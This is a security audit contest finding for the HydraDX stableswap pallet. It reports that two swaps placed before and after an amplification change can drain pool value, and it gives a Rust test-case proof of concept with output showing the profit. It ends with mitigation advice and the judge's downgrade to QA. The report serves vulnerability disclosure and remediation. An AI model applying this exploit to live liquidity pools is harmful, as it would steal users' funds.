HydraDX - peachtea's results

HydraDX Omnipool - An Ocean of Liquidity for Polkadot Trade an abundance of assets in a single pool. The HydraDX Omnipool is efficient, sustainable and trustless.

General Information

Platform: Code4rena

Start Date: 02/02/2024

Pot Size: $100,000 USDC

Total HM: 11

Participants: 27

Period: 28 days

Judge: Lambda

Total Solo HM: 4

Id: 327

League:

HydraDX

Findings Distribution

Researcher Performance

Rank: 22/27

Findings: 1

Award: $150.19

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

150.1907 USDC - $150.19

Labels

bug
downgraded by judge
grade-a
QA (Quality Assurance)
:robot:_14_group
duplicate-96
Q-18

External Links

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L433-L438

Vulnerability details

Impact

Attackers can steal funds by performing two swaps before and after the AMP is reduced. For more information, please see https://medium.com/@peter_4205/curve-vulnerability-report-a1d7630140ec.

Proof of Concept

  1. Please add the following test case into HydraDX-node/pallets/stableswap/src/tests/trades.rs.
#[test]
fn test_steal_funds_amp() {

	use crate::Pools;

	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;

	let initial_amp : u16 = 10_000;
	let amp_to_update: u16 = 10;

	let start_block = 20;
	let end_block = 21;

	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE), 
			(ALICE, 1, 200 * ONE), 
			(ALICE, 2, 200 * ONE)]
		)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(initial_amp).unwrap(),
				final_amplification: NonZeroU16::new(initial_amp).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_percent(0),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 200 * ONE),
					AssetAmount::new(asset_b, 200 * ONE),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, initial_amp as u128);

			assert_ok!(Stableswap::update_amplification(
				RuntimeOrigin::root(),
				pool_id,
				amp_to_update,
				start_block,
				end_block,
			));

			// advance block
			System::set_block_number(20);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, initial_amp as u128);

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("starting bal asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("starting bal asset_b: {:?}", asset_b_bal);

			let starting_total = asset_a_bal + asset_b_bal;
			println!("starting bal total: {:?}", starting_total);

			// sell assetA 
			assert_ok!(Stableswap::sell(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,
				asset_b,
				asset_a_bal,
				0, // maximum amount whatever we get
			));

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("1st swap asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("1st swap asset_b: {:?}", asset_b_bal);

			// advance block which updates amp
			System::set_block_number(21);

			let pool = <Pools<Test>>::get(pool_id).unwrap();
			let amp = Stableswap::get_amplification(&pool);
			assert_eq!(amp, amp_to_update as u128);

			// buy back assetA
			assert_ok!(Stableswap::sell(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				asset_a,
				asset_b_bal,
				0, // maximum amount whatever we get
			));

			let asset_a_bal = Tokens::free_balance(asset_a, &BOB);
			println!("2nd swap asset_a: {:?}", asset_a_bal);

			let asset_b_bal = Tokens::free_balance(asset_b, &BOB);
			println!("2nd swap asset_b: {:?}", asset_b_bal);

			let ending_total = asset_a_bal + asset_b_bal;
			println!("ending bal total: {:?}", ending_total);

			assert!(ending_total > starting_total, "exploit failed");

			let profit = ending_total - starting_total;
			println!("profit: {:?}", profit);

			
		});
}
  1. Run cargo test --package pallet-stableswap --lib -- tests::trades::test_steal_funds_amp --exact --nocapture.

  2. Output

running 1 test starting bal asset_a: 200000000000000 starting bal asset_b: 0 starting bal total: 200000000000000 1st swap asset_a: 0 1st swap asset_b: 198595751082728 2nd swap asset_a: 376877581226143 2nd swap asset_b: 0 ending bal total: 376877581226143 profit: 176877581226143

Tools Used

Manual review.

Consider applying the following recommendations:

  1. Ensure the difference between current_amplification and final_amplification is within an allowed range.

Example: https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L979-L982

  1. Implement a buffer period before the amplification changes to reflect.

https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/a/SwapTemplateA.vy#L972-L973

Assessed type

Other

#0 - c4-pre-sort

2024-03-03T08:21:05Z

0xRobocop marked the issue as duplicate of #96

#1 - c4-judge

2024-03-08T11:14:08Z

OpenCoreCH changed the severity to QA (Quality Assurance)

#2 - c4-judge

2024-03-09T11:01:10Z

OpenCoreCH marked the issue as grade-a

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter